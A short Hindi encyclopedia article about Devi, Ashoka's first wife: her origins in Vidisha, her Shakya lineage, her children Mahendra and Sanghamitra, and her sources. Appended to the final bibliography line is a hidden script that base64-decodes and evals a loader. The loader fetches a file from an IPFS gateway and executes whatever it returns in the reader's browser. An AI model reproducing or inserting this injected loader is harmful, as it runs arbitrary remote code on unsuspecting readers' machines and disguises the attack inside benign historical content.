देवी (अशोक की पत्नी)

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  • सिंहली अनुश्रुतियों के अनुसार उसकी पहली पत्नी का नाम देवी था, जो वेदिसगिरि के एक धनी श्रेष्ठी की पुत्री थी।
  • अशोक ने उसके साथ तब विवाह किया, जब वह उज्जैन में वाइसराय था।
  • महाबोधिवंश [1] में उसे वेदिस-महादेवी और शाक्यानी [2] या शाक्यकुमारी [3] कहा गया है।
  • प्रसेनजित के पुत्र विडूडभ ने जब अपनी ननिहाल वालों को तंग करना शुरू किया तो ये शाक्य उसके भय से अपना वतन छोड़कर वेदिसा [4] चले गये थे।[5] इस प्रकार अशोक की पहली पत्नी बुद्ध के कुल से सम्बद्ध थी।
  • इसके बारे में यह भी कहा गया है कि उसने वेदिसगिरि के महाविहार का निर्माण कराया था।[6]साँची और भिलसा का सम्भवत: यह पहला निर्माण था। इससे यह भी स्पष्ट हो जाता है कि अपने निर्माणों के लिए अशोक ने सांची और उसके उपांत के मनोहर वातावरण को क्योंचुना।
  • इससे भी प्राचीन साहित्य में विदिशा का उल्लेख एक प्रसिद्ध बौद्ध स्थान के रूप में आया है।[7] देवी से अशोक को एक पुत्र महेंद्र और पुत्री संघमित्रा हुई।
  • महावंश के अनुसार देवी अशोक के साथ पाटलिपुत्र नहीं गयी, क्योंकि वहाँ अशोक की अग्रमहिषी असंधिमित्रा रहती थी। [8]



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टीका टिप्पणी और संदर्भ

  1. महाबोधिवंश,पृ. 116
  2. महाबोधिवंश,पृ. 116
  3. महाबोधिवंश,पृ. 98
  4. वेदिसं नगरं
  5. विडूडभभयागतानं साकियानं आवासं वेदिसं
  6. ताय कारापितं वेदिसगिरिमहाविहारं
  7. सुत्तनिपात
  8. महावंश,85, xx

मुखर्जी, राधाकुमुद अशोक (हिंदी)। नई दिल्ली: मोतीलाल बनारसीदास, 7-8।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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